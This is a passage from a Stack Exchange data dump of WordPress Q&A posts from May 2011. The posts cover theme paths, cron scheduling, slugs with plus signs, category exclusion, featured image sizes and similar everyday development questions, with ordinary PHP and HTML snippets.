one yourself, or use a plugins to do it for you:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/pods/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/pods/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/custom-post-type-ui/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/custom-post-type-ui/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3898" LastEditorUserId="3898" LastEditorDisplayName="" LastEditDate="2011-05-23T17:05:53.430" LastActivityDate="2011-05-23T17:05:53.430" />
  <row Id="18027" PostTypeId="2" ParentId="18020" CreationDate="2011-05-23T17:07:18.700" Score="1" ViewCount="" Body="&lt;p&gt;@tanktery&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;template_directory&lt;/code&gt; is the &lt;strong&gt;URL&lt;/strong&gt; of the active theme's directory. Before version 2.6 of WordPress it was a local path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;TEMPLATEPATH&lt;/code&gt;is also the &lt;strong&gt;URL&lt;/strong&gt; of the active theme's directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before version 2.6 &lt;code&gt;TEMPLATEPATH&lt;/code&gt; was used but now it is recommended to use &lt;code&gt;&amp;lt;?php bloginfo('template_directory'); ?&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="5465" LastActivityDate="2011-05-23T17:07:18.700" CommentCount="3" />
  <row Id="18028" PostTypeId="2" ParentId="10064" CreationDate="2011-05-23T17:07:58.077" Score="1" ViewCount="" Body="&lt;p&gt;Try using &lt;a href=&quot;http://wordpress.org/extend/plugins/dropdown-menu-widget/&quot; rel=&quot;nofollow&quot;&gt;DropDown&lt;/a&gt; Menu. It worked perfectly for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck! :)&lt;/p&gt;&#xA;" OwnerUserId="4744" LastActivityDate="2011-05-23T17:07:58.077" />
  <row Id="18029" PostTypeId="2" ParentId="17715" CreationDate="2011-05-23T17:19:47.610" Score="0" ViewCount="" Body="&lt;p&gt;Good question, I have noticed it and couldn't (at the time) find a plugin that fixed it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My solution:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open the &lt;a href=&quot;http://wordpress.org/extend/plugins/&quot; rel=&quot;nofollow&quot;&gt;Wordpress Plugin Directory page&lt;/a&gt; and search there - you get a lot more options. Copy the plugin title over to your site's plugin admin page and search there - then install from there. It's quicker than downloading from the Plugin Directory and reuploading, but you have to watch out because sometimes the plugin titles don't correspond to your search string (the plugin search is kind of odd that way).&lt;/p&gt;&#xA;" OwnerUserId="4675" LastActivityDate="2011-05-23T17:19:47.610" />
  <row Id="18030" PostTypeId="2" ParentId="18017" CreationDate="2011-05-23T17:24:42.673" Score="3" ViewCount="" Body="&lt;p&gt;It looks for me that you are adding this event only when there is no such event 'send_email_alerts_hook' scheduled yet. Try something like this and let me know if it workded.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function shedule_email_alerts() {&#xA;    if ( !wp_next_scheduled( 'send_email_alerts_hook' ) ) {&#xA;        wp_schedule_event(time(), 'daily', 'send_email_alerts_hook');&#xA;    } else {&#xA;        wp_reschedule_event(time(), 'daily', 'send_email_alerts_hook');&#xA;    } &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The thing is that you will &quot;rewrite&quot; this event all the time, so it would be good to deactivate this function when it run first time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best solution would be to check how those jobs are gathered and check if this event is already added. If so then check if recurrence is different - if so reschedule. You can find this function in wp-includes/cron.php line ~63&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wp_schedule_event( $timestamp, $recurrence, $hook, $args = array()) {&#xA;    $crons = _get_cron_array();&#xA;    $schedules = wp_get_schedules();&#xA;&#xA;    if ( !isset( $schedules[$recurrence] ) )&#xA;        return false;&#xA;&#xA;    $event = (object) array( 'hook' =&amp;gt; $hook, 'timestamp' =&amp;gt; $timestamp, 'schedule' =&amp;gt; $recurrence, 'args' =&amp;gt; $args, 'interval' =&amp;gt; $schedules[$recurrence]['interval'] );&#xA;    $event = apply_filters('schedule_event', $event);&#xA;&#xA;    // A plugin disallowed this event&#xA;    if ( ! $event )&#xA;        return false;&#xA;&#xA;    $key = md5(serialize($event-&amp;gt;args));&#xA;&#xA;    $crons[$event-&amp;gt;timestamp][$event-&amp;gt;hook][$key] = array( 'schedule' =&amp;gt; $event-&amp;gt;schedule, 'args' =&amp;gt; $event-&amp;gt;args, 'interval' =&amp;gt; $event-&amp;gt;interval );&#xA;    uksort( $crons, &quot;strnatcasecmp&quot; );&#xA;    _set_cron_array( $crons );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Good luck!&lt;/p&gt;&#xA;" OwnerUserId="4744" LastActivityDate="2011-05-23T17:24:42.673" />
  <row Id="18031" PostTypeId="2" ParentId="17517" CreationDate="2011-05-23T17:33:38.653" Score="0" ViewCount="" Body="&lt;p&gt;IIRC I had this same problem and I just created my own plugin by creating the signup form on the mailchimp website:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create Form &gt; Signup Form &gt; create embed code for small form&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then create the form elements you need and copy that embed code into your plugin .php file. My test of this created the following html:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;mc-field-group&quot; style=&quot;margin: 1.3em 5%;clear: both;overflow: hidden;&quot;&amp;gt;&#xA;    &amp;lt;label class=&quot;input-group-label&quot; style=&quot;display: block;margin: .3em 0;line-height: 1em;font-weight: bold;&quot;&amp;gt;Interested in: &amp;lt;/label&amp;gt;&#xA;    &amp;lt;div class=&quot;input-group&quot; style=&quot;padding: .7em .7em .7em 0;font-size: .9em;margin: 0 0 1em 0;&quot;&amp;gt;&#xA;        &amp;lt;ul style=&quot;margin: 0;padding: 0;&quot;&amp;gt;&#xA;            &amp;lt;li style=&quot;list-style: none;overflow: hidden;padding: .2em 0;clear: left;display: block;margin: 0;&quot;&amp;gt;&amp;lt;input type=&quot;checkbox&quot; value=&quot;1&quot; name=&quot;group[1][1]&quot; id=&quot;mce-group[1]-1-0&quot; style=&quot;margin-right: 2%;padding: .2em .3em;width: auto;float: left;z-index: 999;&quot;&amp;gt;&amp;lt;label for=&quot;mce-group[1]-1-0&quot; style=&quot;display: block;margin: .4em 0 0 0;line-height: 1em;font-weight: bold;width: auto;float: left;text-align: left !important;&quot;&amp;gt;banana&amp;lt;/label&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li style=&quot;list-style: none;overflow: hidden;padding: .2em 0;clear: left;display: block;margin: 0;&quot;&amp;gt;&amp;lt;input type=&quot;checkbox&quot; value=&quot;2&quot; name=&quot;group[1][2]&quot; id=&quot;mce-group[1]-1-1&quot; style=&quot;margin-right: 2%;padding: .2em .3em;width: auto;float: left;z-index: 999;&quot;&amp;gt;&amp;lt;label for=&quot;mce-group[1]-1-1&quot; style=&quot;display: block;margin: .4em 0 0 0;line-height: 1em;font-weight: bold;width: auto;float: left;text-align: left !important;&quot;&amp;gt;apple&amp;lt;/label&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div id=&quot;mce-responses&quot; style=&quot;float: left;top: -1.4em;padding: 0em .5em 0em .5em;overflow: hidden;width: 90%;margin: 0 5%;clear: both;&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;response&quot; id=&quot;mce-error-response&quot; style=&quot;display: none;margin: 1em 0;padding: 1em .5em .5em 0;font-weight: bold;float: left;top: -1.5em;z-index: 1;width: 80%;background: FBE3E4;color: #D12F19;&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;response&quot; id=&quot;mce-success-response&quot; style=&quot;display: none;margin: 1em 0;padding: 1em .5em .5em 0;font-weight: bold;float: left;top: -1.5em;z-index: 1;width: 80%;background: #E3FBE4;color: #529214;&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div&amp;gt;&amp;lt;input type=&quot;submit&quot; value=&quot;Subscribe&quot; name=&quot;subscribe&quot; id=&quot;mc-embedded-subscribe&quot; class=&quot;btn&quot; style=&quot;clear: both;width: auto;display: block;margin: 1em 0 1em 5%;&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4675" LastActivityDate="2011-05-23T17:33:38.653" />
  <row Id="18032" PostTypeId="1" AcceptedAnswerId="18035" CreationDate="2011-05-23T17:35:54.970" Score="0" ViewCount="118" Body="&lt;p&gt;This is happening in more than one section of our website, but in different yet similar ways.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Scenario One:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have a URL structure like this...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;mydomain.com/some-category/?subject=Some+Subject&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to get pagination properly working. I urlencode() the space and get the +, but it doesn't matter if I use a space or a + ...Wordpress always tries to do this...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;mydomain.com/some-category/page/2/?subject=SomeSubject&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...instead of this...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;mydomain.com/some-category/page/2/?subject=Some+Subject&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress is removing the space/+ for some reason. We haven't figured out why just yet. Any help is greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Scenario Two:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have predefined slugs that are identical matches to our part codes in our e-commerce system. We have custom-built plugins that associate pages to the e-commerce system by way of the slug matching the part code in our system. In turn, it generates nicely formatted (and automatic) ordering tables for checkout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wordpress is removing any &quot;+&quot; that I include in the slug, which may have been part of our part codes. Is there any way to get Wordpress to quit screwing around with our URLs and let us do what we want to? We prefer to think for ourselves, rather than have Wordpress tell us how to think.&lt;/p&gt;&#xA;" OwnerUserId="5449" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-06-07T14:16:05.510" LastActivityDate="2011-06-07T14:16:05.510" Title="Modify Wordpress to not replace + (plus) characters from URLs?" Tags="&lt;urls&gt;&lt;slug&gt;&lt;encoding&gt;" AnswerCount="1" />
  <row Id="18033" PostTypeId="2" ParentId="18017" CreationDate="2011-05-23T17:41:56.123" Score="0" ViewCount="" Body="&lt;p&gt;Try debuggin with this Plugin i wrote: &lt;a href=&quot;https://gist.github.com/987128&quot; rel=&quot;nofollow&quot;&gt;Link to Github/Gist&lt;/a&gt;. It's a little hack-ish, but it serves its purpose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note that the &lt;code&gt;wp_footer()&lt;/code&gt; hook must be present in your theme. Else you'll have to hook it somewhere else.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-05-23T17:41:56.123" CommentCount="2" />
  <row Id="18034" PostTypeId="2" ParentId="17989" CreationDate="2011-05-23T17:45:34.177" Score="2" ViewCount="" Body="&lt;p&gt;you could use phpMyAdmin to do a search&amp;amp;replace on the wordpress database for the old youtube embed string and then replace with the new one. Should be possible since the syntax is similar enough.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit:&lt;/strong&gt; to add &lt;a href=&quot;http://webmasters.stackexchange.com/questions/8237/embeddables-and-moving-from-wordpress-com-to-self-host&quot;&gt;from this other stackexchange question&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/search-regex/&quot; rel=&quot;nofollow&quot;&gt;Search RegEx&lt;/a&gt; is a good plugin to be able to search and replace with Grep through all posts and pages. With that, you can change your shortcodes to the default Embeds « WordPress Codex that self-hosted Wordpress uses, which in its simplest form is just the URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or use &lt;a href=&quot;http://wordpress.org/extend/plugins/vipers-video-quicktags/&quot; rel=&quot;nofollow&quot;&gt;WordPress › Viper's Video Quicktags « WordPress Plugins&lt;/a&gt; and search/replace to convert to that form of shortcode.&lt;/p&gt;&#xA;" OwnerUserId="4675" LastEditorUserId="4675" LastEditorDisplayName="" LastEditDate="2011-05-23T20:54:46.453" LastActivityDate="2011-05-23T20:54:46.453" CommentCount="2" />
  <row Id="18035" PostTypeId="2" ParentId="18032" CreationDate="2011-05-23T17:57:28.390" Score="0" ViewCount="" Body="&lt;p&gt;You can hook into WordPress’ slug algorithm and create your own slugs. For an example look into my &lt;a href=&quot;https://github.com/toscho/Germanix-WordPress-Plugin/blob/master/germanix_url.php&quot; rel=&quot;nofollow&quot;&gt;plugin Germanix URL&lt;/a&gt;. I’m not sure if WordPress can accept requests with an &lt;code&gt;+&lt;/code&gt; without further tweaking tough.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If just want to allow the slug without much coding, install Germanix and create a second plugin with this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php # -*- coding: utf-8 -*-&#xA;/*&#xA;Plugin Name: Germanix plus +&#xA;*/&#xA;&#xA;add_filter( 'germanix_translit_list', 'remove_plus_from_transliteration', 10, 1);&#xA;add_filter( 'germanix_lower_ascii_regex', 'allow_plus_on_regex', 10, 1);&#xA;&#xA;function remove_plus_from_transliteration( $utf8 )&#xA;{&#xA;    unset ( $utf8['+'] );&#xA;    return $utf8;&#xA;}&#xA;function allow_plus_on_regex( $regex )&#xA;{&#xA;    # $regex['pattern'] =&amp;gt; '~([^a-z\d_+.-])~';  // was this&#xA;    $regex['pattern'] = '~([^a-z\d_+.-])~';  // now this&#xA;    return $regex;&#xA;}&#xA;&#xA;remove_filter( 'editable_slug', 'urldecode' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I haven’t tested this now but it &lt;em&gt;should&lt;/em&gt; work. :)&lt;/p&gt;&#xA;" OwnerUserId="73" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-05-23T20:12:12.700" LastActivityDate="2011-05-23T20:12:12.700" CommentCount="7" />
  <row Id="18036" PostTypeId="1" AcceptedAnswerId="18038" CreationDate="2011-05-23T18:11:37.497" Score="1" ViewCount="99" Body="&lt;p&gt;I am excluding comments from specific categories. However, when I try to exclude more than one, it doesn't work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works: &lt;code&gt;&amp;lt;?php if (!in_category('7')) comments_template(); ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This does not work: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (!in_category('7 , 9')) comments_template(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (!in_category('7')) comments_template(); ?&amp;gt;&#xA;&amp;lt;?php if (!in_category('9')) comments_template(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2883" LastActivityDate="2011-05-23T18:18:52.997" Title="How do I specify more than one category?" Tags="&lt;categories&gt;&lt;comments&gt;&lt;hacks&gt;" AnswerCount="2" />
  <row Id="18037" PostTypeId="2" ParentId="18036" CreationDate="2011-05-23T18:18:28.210" Score="1" ViewCount="" Body="&lt;p&gt;Put the IDs into an array, like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?php if (!in_category(array(7, 9))) comments_template(); ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-05-23T18:18:28.210" />
  <row Id="18038" PostTypeId="2" ParentId="18036" CreationDate="2011-05-23T18:18:52.997" Score="2" ViewCount="" Body="&lt;p&gt;I would suggest using category slugs instead of ids. Please try something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( ! in_category( array( 'bunnies', 'tacos', 'banana-pirates' ) ) ) {&#xA;    comments_template();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1367" LastActivityDate="2011-05-23T18:18:52.997" CommentCount="1" />
  <row Id="18039" PostTypeId="2" ParentId="14053" CreationDate="2011-05-23T18:25:37.723" Score="0" ViewCount="" Body="&lt;p&gt;This site has a large list of child themes for Twenty Ten &lt;a href=&quot;http://zeaks.org/category/twenty-ten-child-themes/&quot; rel=&quot;nofollow&quot;&gt;http://zeaks.org/category/twenty-ten-child-themes/&lt;/a&gt; There's also a basic child theme with some features built in, layouts, slider, header options etc &lt;a href=&quot;http://zeaks.org/twentyten-options-theme-1-5-download/&quot; rel=&quot;nofollow&quot;&gt;http://zeaks.org/twentyten-options-theme-1-5-download/&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Weaver is also very nice, but it's not a child theme anymore.&lt;/p&gt;&#xA;" OwnerUserId="5613" LastEditorUserId="5613" LastEditorDisplayName="" LastEditDate="2011-05-23T20:22:04.830" LastActivityDate="2011-05-23T20:22:04.830" />
  <row Id="18040" PostTypeId="1" CreationDate="2011-05-23T18:37:41.023" Score="0" ViewCount="126" Body="&lt;p&gt;Hi I have several featured image sizes I need to use throughout the site, some of them pertaining to custom post types. Could I set them in some way so that the image sizes are not created for the featured images of all posts/pages but only to the custom post types where they will actually be used? I want this in order not to bloat the installation with a lot of different sized images. Thanks&lt;/p&gt;&#xA;" OwnerUserId="5317" LastActivityDate="2011-05-23T18:42:28.137" Title="Featured image size per post type" Tags="&lt;post-thumbnails&gt;" AnswerCount="1" />
  <row Id="18041" PostTypeId="2" ParentId="18040" CreationDate="2011-05-23T18:42:28.137" Score="1" ViewCount="" Body="&lt;p&gt;Checkout this plugin i developed for use in my theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://swiftthemes.com/swiftdynamicthumbs-plugin-to-generate-thumbnails-dynamically-when-needed/&quot; rel=&quot;nofollow&quot;&gt;http://swiftthemes.com/swiftdynamicthumbs-plugin-to-generate-thumbnails-dynamically-when-needed/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2193" LastActivityDate="2011-05-23T18:42:28.137" CommentCount="1" />
  <row Id="18042" PostTypeId="1" CreationDate="2011-05-23T19:03:57.553" Score="1" ViewCount="86" Body="&lt;p&gt;I have the blog &lt;a href=&quot;http://kracekumar.wordpress.com&quot; rel=&quot;nofollow&quot;&gt;http://kracekumar.wordpress.com&lt;/a&gt;, I need to find the API KEY of my blog,I clicked on Global Dashboard-&gt;My profile,it was mentioned in wordpress site that it will be found in top left side,but I can't find it.&lt;/p&gt;&#xA;" OwnerUserId="5080" LastActivityDate="2011-05-23T21:20:20.183" Title="Unable to find API Key for my blog" Tags="&lt;api&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="18043" PostTypeId="1" CreationDate="2011-05-23T19:19:54.420" Score="1" ViewCount="140" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3247/dynamic-navigation-for-custom-post-type-pages&quot;&gt;Dynamic navigation for custom post type (pages)&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;I believe I have a relatively simple problem. The WordPress site I'm developing has a custom post type called &quot;Issues&quot;. It has a hierachical value of true, so that the entries in the custom post type behave like pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm outputting the list of pages in this custom post type in a sidebar, using the following (as suggested by the Codex):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h3&amp;gt;Issues&amp;lt;/h3&amp;gt;&#xA;&amp;lt;ul id=&quot;sideNav&quot;&amp;gt;&#xA;&amp;lt;?php wp_list_pages('title_li=&amp;amp;post_type=issues'); ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This successfully outputs a list of the pages in the custom post type. However, strangely, it does not output the default markup and styling - specifically it does not output the &quot;current_page&quot; class on the li tag of the page you're currently viewing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;: I've found an answer here: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3247/dynamic-navigation-for-custom-post-type-pages/3270#3270&quot;&gt;Dynamic navigation for custom post type (pages)&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5614" LastActivityDate="2011-05-23T19:19:54.420" ClosedDate="2011-05-31T22:39:29.027" Title="Markup and styling of page items with wp_list_pages and a custom post type" Tags="&lt;custom-post-types&gt;" CommentCount="0" />
  <row Id="18044" PostTypeId="1" CreationDate="2011-05-23T19:22:34.857" Score="1" ViewCount="342" Body="&lt;p&gt;Is there a way to disable image attachment links trought a filter in functions.php or something ? I know it's possible to do it manually when you add an image to a post but I want to disable this functionality by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to do is set the &quot;Link URL&quot; option to &quot;none&quot; and remove / hide it from the upload attachement screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/NiIar.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a solution to hook into the &quot;media-upload&quot; &quot;pop-in&quot; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks by advance.&lt;/p&gt;&#xA;" OwnerUserId="3925" LastEditorUserId="3925" LastEditorDisplayName="" LastEditDate="2011-05-28T11:02:03.880" LastActivityDate="2011-05-28T11:02:03.880" Title="Disable image attachment links" Tags="&lt;wp-admin&gt;&lt;images&gt;&lt;attachments&gt;&lt;links&gt;&lt;media-upload&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="18045" PostTypeId="1" AcceptedAnswerId="18052" CreationDate="2011-05-23T19:38:19.827" Score="2" ViewCount="114" Body="&lt;p&gt;For single posts and pages, I would like to add certain &lt;code&gt;rel&lt;/code&gt; attributes to all the images on the contained therein added with the &quot;Add Image&quot; functionality on the edit screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The attribute would be &lt;code&gt;rel=&quot;lightbox[post id]&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What function would I filter to accomplish this most effectively?&lt;/p&gt;&#xA;" OwnerUserId="4258" LastActivityDate="2011-05-23T21:39:36.133" Title="Best way to programatically add &quot;rel&quot; attributes to page and post images" Tags="&lt;functions&gt;&lt;images&gt;&lt;filters&gt;&lt;attachments&gt;&lt;single&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="18046" PostTypeId="2" ParentId="18042" CreationDate="2011-05-23T19:42:03.083" Score="3" ViewCount="" Body="&lt;p&gt;You can get the API key by logging into &lt;a href=&quot;http://wordpress.com/&quot; rel=&quot;nofollow&quot;&gt;WordPress.com&lt;/a&gt;, clicking &quot;My Account&quot; on the top bar, and clicking the &quot;API Key&quot; link.&lt;/p&gt;&#xA;" OwnerUserId="2001" LastActivityDate="2011-05-23T19:42:03.083" CommentCount="2" />
  <row Id="18047" PostTypeId="1" AcceptedAnswerId="18367" CreationDate="2011-05-23T19:49:18.433" Score="2" ViewCount="569" Body="&lt;p&gt;I figured out how to exclude the current post from displaying in my single-post view sidebar, but now I want to exclude parent categories and display only children. Any ideas how to do this? Much obliged!!       &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;sidebar&quot; class=&quot;grid_4&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;item portfolio&quot;&amp;gt;&amp;lt;hr&amp;gt;&amp;lt;/hr&amp;gt;&#xA;    &amp;lt;h4&amp;gt;Similar Items&amp;lt;/h4&amp;gt;&#xA;&amp;lt;?php&#xA;    if ( is_single() ) {&#xA;    $cats = wp_get_post_categories($post-&amp;gt;ID);&#xA;    if ($cats) {&#xA;    $first_cat = $cats[0];&#xA;    $args=array(&#xA;      'cat' =&amp;gt; $first_cat, //cat__not_in wouldn't work&#xA;      'post__not_in' =&amp;gt; array($post-&amp;gt;ID),&#xA;         'showposts'=&amp;gt;8,&#xA;      'caller_get_posts'=&amp;gt;1&#xA;);&#xA;    $my_query = new WP_Query($args);&#xA;    if( $my_query-&amp;gt;have_posts() ) {&#xA;      echo '';&#xA;      while ($my_query-&amp;gt;have_posts()) : $my_query-&amp;gt;the_post(); ?&amp;gt;&#xA;&#xA;&amp;lt;?php if (in_category('15')) continue; ?&amp;gt;&#xA;&#xA;&amp;lt;div ID=&quot;similarentry&quot;&amp;gt;&amp;lt;ul&amp;gt;&#xA;            &amp;lt;li ID=&quot;similarthmb&quot;&amp;gt;&amp;lt;?php get_the_image( array( 'custom_key' =&amp;gt; array( 'thumbnail' ), 'default_size' =&amp;gt; 'thumbnail', 'width' =&amp;gt; '119', 'height' =&amp;gt; '75', 'link_to_post' =&amp;gt; true ) ); ?&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li ID=&quot;similarttl&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;bookmark&quot; title=&quot;Permanent Link to &amp;lt;?php the_title_attribute(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title() ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&#xA;       &amp;lt;?php&#xA;      endwhile;&#xA;    } //if ($my_query)&#xA;  } //if ($cats)&#xA;  wp_reset_query();  // Restore global post data stomped by the_post().&#xA;} //if (is_single())&#xA;?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5617" LastActivityDate="2011-05-26T21:03:23.920" Title="How to exclude parent category but show child categories?" Tags="&lt;sidebar&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="18048" PostTypeId="2" ParentId="18017" CreationDate="2011-05-23T19:51:18.873" Score="0" ViewCount="" Body="&lt;p&gt;Ok, I could solve the problem by using &lt;code&gt;wp_clear_scheduled_hook()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I commented out my schedule declaration and added &lt;code&gt;wp_clear_scheduled_hook('send_email_alerts_hook')&lt;/code&gt; at the end. Then deactivate - reactivate my plugin, which removed my scheduled hook. Then removed &lt;code&gt;wp_clear_scheduled_hook()&lt;/code&gt; and uncommented my code, now the schedule was set properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Found the tip &lt;a href=&quot;http://hungrycoder.xenexbd.com/tutorial/tips-for-wordpress-cron-functions.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-05-23T19:51:18.873" />
  <row Id="18049" PostTypeId="1" CreationDate="2011-05-23T16:39:08.013" Score="1" ViewCount="134" Body="&lt;p&gt;Whenever I make a post it is given a specific url but the post does not show up on when I go to my website. So my home page is doesn't have any post but you can find the post using the specific url. How do I get the posts to show up on the home page?&lt;/p&gt;&#xA;" LastEditorUserId="199" LastEditorDisplayName="" LastEditDate="2011-05-23T20:51:37.530" LastActivityDate="2011-08-17T21:26:04.273" Title="wordpress permalink problem" Tags="&lt;permalinks&gt;&lt;homepage&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="18050" PostTypeId="1" CreationDate="2011-05-23T00:08:22.933" Score="7" ViewCount="176" Body="&lt;p&gt;I've installed Wordpress 3.1.2, and have enabled the multi-site network.  Each employee in my department can now have their own company blog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was hoping to provide a bunch of pre-defined categories &amp;amp; tags for all the sites in the network for consistency between the blogs.  It would be great if I could enter these once, and have them add to all the sites in the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do this, or something similar?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks,&#xA;Glen&lt;/p&gt;&#xA;" LastActivityDate="2011-06-01T08:07:50.320" Title="Wordpress: Can I add categories/tags to all sites in my network at once?" Tags="&lt;tags&gt;&lt;categories&gt;&lt;multisite&gt;" AnswerCount="0" CommentCount="0" FavoriteCount="0" />
